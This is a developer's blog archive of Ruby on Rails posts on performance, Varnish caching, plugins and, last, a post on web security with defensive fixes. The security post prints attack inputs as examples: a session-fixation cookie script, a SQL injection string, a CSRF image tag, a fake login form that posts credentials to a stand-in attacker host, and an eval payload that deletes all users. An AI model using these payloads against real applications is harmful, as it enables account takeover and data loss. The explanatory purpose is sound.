Sunday, May 5, 2013

Rails application best optimization concepts

Optimization is MUST of a Rails application specially for the high traffic Ruby On Rails application and for good UX. Here are some optimization tips which I already applied in my recent Rails projects.


Optimization of Rails Application and application server
Optimization of web server
  • Use nginx instead of Apache for better static resources(images,videos,css,javascript,text, html, etc) response
  • For static resources cached on client side for specific time(for example, 30 days), use this configuration















  • Make sure your web server is responding with gzip data
  • If your application faces heavy traffic then use load balancing. In one of my project, I used nginx as balancer on front end and 4 apache web servers on backend nodes. If you use cloud server like rackspace then you can use rackspace's builtin load balancer with your node servers or you can create your own load balancer.
  • Use http reverse proxy like varnish cache server so that most of the requests are being served by the cache server instead of hitting your application server, see this link for varnish configuration
    http://abdul-barek-rails.blogspot.com/2012/07/integrate-http-reverse-proxy-cache.html
  • You can use http cache but be careful, its risky! because already requested requests(from a client) will not hit your application server(because of cache validation time), instead, the client will get response from its local cached data. To avoid this, you can change url.

  • Client Side Optimization
    • Try to use more Asynchronous requests using AJAX for better user experience and responsiveness in your application where you can.
    • Try to reduce number of requests which is the key optimization on client side
    • On production environment, use Rails asset pipeline feature so that your JavaScripts and css files are being combined and minified or compressed
    • Use css stripe to avoid loading more images(same type of images) so that you can reduce number of http requests for images
    • Try to reduce static resources weight(reduce size in KB or Byte)
    • You can use jquery lazy load plugin to load images lazily or you can use jquery appear plugin to load images/contents on when screen appears to view
    • To measure your application's load time and performance, use this google tool
      https://developers.google.com/speed/pagespeed/insights
    • For better inspection of your server's resources on browser, use firefox's firebug adons in firefox browser and see how much time all resources are taking to load and see how weight of resources are and see what are the unnecessary http requests and then reduce resources weight and load time and reduce unnecessary http requests as you can.
    Database Optimization
    • Apply database indexing on table's those columns which are being used for join, foreign key, ordering or on where clause
    • Apply data reporting, I mean instead of pulling big data result set on the fly, prepare them before they are being used, you can use any scheduler gem like rufus scheduler or delayed job to make stuff pre-ready.
    • Inspect slow query from your database server log file and optimize it
    You can use NewRelic for details servers logs, graphs, database logs and many many stuff to analyze more.

    Thursday, July 5, 2012

    integrate http reverse proxy cache server with Rails and Varnish



    • Setup Apache and make a virtual host to listen it on other port like 8080
    • Install varnish and listens it on port 80
    • For the Varnish, you need to do configuration on two files like bellow





    Here is the requesting flow: Browser ---> Varnish---->Apache2----->Application Server
    That means, when u request through browser, it request to Varnish(on port 80) and if varnish has cached then it served directly to client(browser) without interfering apache otherwise Varnish passes the request to apache...In this way you can scale your Rails app heavily and serve a lot of requests concurrently with low memory and low resource consumed.

    Some varnish useful commands:
    • Restart Varnish - /etc/init.d/varnish restart
    • Show Varnish statistics - varnishstat
    • Test to see response is coming through Varnish -
      curl -I http://www.your_app_url.com



    Friday, February 10, 2012

    Parallel Processing in Ruby On Rails

    I used ruby's fork when I was sending 60,000 emails from one of Rails applications and it is wise to split the big result set and send emails of each chunk parallely on forks for faster processing! Here is a sample ruby code for processing N length data.

    I tested it on Ubuntu 11, ruby 1.9.2, Rails 3.0.10

    Friday, December 16, 2011

    argument out of range and 0.0 issue on rails

    Argument out of range Exception on windows7 with Rails3 and model fields class type is float(0.0). Actually I was trying to use mysql2 gem on windows7 in Rails3.

    How I fixed it in my case:
    • My system was x86 typed(windows7) and I had 32 bit mysql client installed in my machine with Rails 3.1 and Ruby 1.9.2
    • I downloaded libmysql.dll (32 bit) and placed it on windows/system32 and ruby/bin folder
    • I restarted my laptop and FIXED!
    This is nothing but libmysql.dll version related issue with system!

    Saturday, February 27, 2010

    Dynamic Image from text/string in Rails

    Image will be generated dynamically from string or text:

    Use - require 'RMagick' in your class



    Pre-requisite : You must have rmagick and Imagemagick installed.
    Details: http://www.simplesystems.org/RMagick/doc/draw.html

    Monday, February 22, 2010

    How to develop rails plugin from scratch?

    Generate Plugin with command: ruby script/generate plugin hello_world
    It will create file system as bellow:
    - lib
        - hello_world.rb
    - tasks
        - hello_world_tasks.rake
    - test
        - hello_world_test.rb
    - init.rb
    - install.rb
    - uninstall.rb
    - README
    - Rakefile
    - MIT-LICENSE

    init.rb will be executed every time when your application runs. Generally hook code is to be included here like you want to make all methods of your plugin available in your app’s models, controllers, views and helpers

    Example:
    #All methods in module HelloWorld will be available in all #model’s object
    ActiveRecord::Base.class_eval do
        include HelloWorld
    end

    #All methods in module HelloWorld will be available in all controllers
    ActionController::Base.class_eval do
        include HelloWorld
    end

    #All methods in module HelloWorld will be available in all views and all helpers
    ActionView::Base.class_eval do
        include HelloWorld
    end

    lib/ hello_world.rb :

    Example:
    # All methods in this library will be available in all models, controllers, views and helpers if you write code as init.rb above

    module HelloWorld
        def say_hello
            return "Hello World"
        end
        def hello_text
            return “this is text”
        end
    end

    Now you need to do unit test your plugin’s methods. To do so follow:
    test/hello_world_test.rb:

    Example:
    require 'test/unit'
    require File.join(File.dirname(__FILE__),'../lib/hello_world.rb')

    class HelloWorldTest < Test::Unit::TestCase
        include HelloWorld # includes your library methods to test

        def test_this_plugin
            hello_world = say_hello
            assert_equal hello_world, "Hello World"
            assert_not_nil hello_world
        end

        def test_another
            assert_equal true,true
        end
    end

    To run these test cases, go to your plugin’s directory with command prompt and run like: ruby test/hello_world_test.rb

    You are done actually with plugin!

    Install.rb: It will be executed only once when the plugin is being installed.

    Uninstall.rb: This will be executed when you do uninstall your plugin

    README: In this file, you should write easy documentation of your plugin with examples. Also you may highlight yourself here.

    Saturday, February 13, 2010

    Security of rails Application on WEB

    Session Fixation:
    1. In the figure(http://guides.rubyonrails.org/images/session_fixation.png), suppose a hacker login to the server with his own credential

    2. Server will store his information into session against client’s _session_id (server generates this id if there is no session id already created). Next time when this client requests this session information, server will response against that _session_id.

    3. Now suppose hacker becomes able to execute a script like hacker wrote a comment with following script to client’s blog post: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>.

    4. Suppose client refreshes his blog post page. Now client’s session id becomes equal with hacker’s session id!!!.

    5. Now any one from client or hacker will get client’s credential from session!!!

    6. Thus hacker will get client’s credential and do all as client

    Protection:
    Reset all session before login and store session information for login request like:

    reset_session
    Session[:user] = User from DB


    SQL Injection:
    Suppose we have
    User.first(:conditions=>["username= #{params[:username]} AND password= #{params[:password]}"])

    Will generate:
    SELECT * FROM users where username=params[:username] AND password=params[:password] limit 1

    What if you pass params[:password]=' OR '1'='1 ???

    Will generate:
    SELECT * FROM users where username=‘abc’ AND password=‘’ OR ‘1’=‘1’
    The query is true and now hacker is logedin!!! For the first user credential

    Protection:
    Use ? In string like:
    User.first(:conditions=>["username=? AND pass=?",params[:username],params[:pass]])

    Use place holder like
    User.first(:conditions=>"username=:username AND pass=:pass",{:username=>params[:username], :pass=> params[:pass]})

    Use Hash like:
    User.first(:conditions => {:username => params[:username], :password => params[:pass]})

    Use to_i for integer type data
    User.find(params[:id].to_i)


    Phishing(1):
    If a hacker writes HTML code in comment like:
    <img src="http://www.domain.com/projects/destroy/1" >
    than this img tag will request for an image source. Actually this src will make a request to projects controller, destroy method. Generally we check when destroy anything like:

    def destroy
    project = Project.find(params[:id])
    if(session_user && session_user.id == project.user_id)
    project.destroy()
    end
    end

    IF CONDITION will be true and hacker will be able to destroy client’s projects!!!

    Protection:
    Verify requested method whether it is GET or POST in controller and in view use h() method before the comment body like
    <%= h blog.comments.first.body %>
    [Actually don’t trust user given input data]

    Phishing(2):
    If hacker writes HTML code of site’s login form into his comment like:

    <div class="login_form" >
    <form action="http://www.hackar.com/hack">
    Username: <input type="text" name="username" >
    Password: <input type="password" name=”password”>
    </form>
    </div>

    And the fool client fills out his username and password with this injected login form than hacker will be able to grab client’s credential!

    Protection:
    call protect_from_forgery method from ApplicationController
    which will generates a hidden field with a token into all html form like

    <input name=“authentecity_token" value=“d8192312u3n123123091" type=“hidden" >

    When user submits this form server will check the submitted token against generated token.


    Mass assignment:
    Suppose we have users table with a column name role_id. If role id is 1 then the user will be Admin than our conventional registration/profile form will be like:

    <form action="/users/create" method="post">
    Username: <input name="[user][username]" type="text">
    Password: <input name="[user][password]" type="text">
    Email: <input name="[user][email]" type="text" >
    First Name: <input name="[user][first_name]" type="text" >
    Last Name: <input name="[user][last_name]" type="text" >
    </form>

    Using FIREBUG if I push <input nanme="user[role_id]" value="1" type="hidden" > into this form then any user will be able to become Admin!

    Protection:
    Make role_id protected in user model which will be nil when user object is created

    To update this field from admin follow:
    model.rol_id = 1
    model.save(false)


    File Upload & Download:
    Do not place file in Rails/public if it is Apache’s home directory because it may be executed (like file.php) when requested

    Always use send_file method for download
    Check file type when upload

    Log file:
    All rails generated SQL, error report, responses are logged in log file

    In ApplicationController use the method bellow:
    filter_parameter_logging :password



    Part of Log File:
    Parameters: {"commit"=>"Save", "action"=>"create", "controller"=>"[FILTERED]", “user"=>{“password"=>"[FILTERED]", “username"=>“abc"}}

    Don’t use eval with params:
    Eval(params[:model]).find(1)
    What’s happened if you pass params[:model] = “User.destroy_all”

    It will become:
    Eval(“User.destroy_all”).find(1) !!!!!!!

    Protection:
    params[:model].constantize.find(1)

    Reference: http://guides.rubyonrails.org/security.html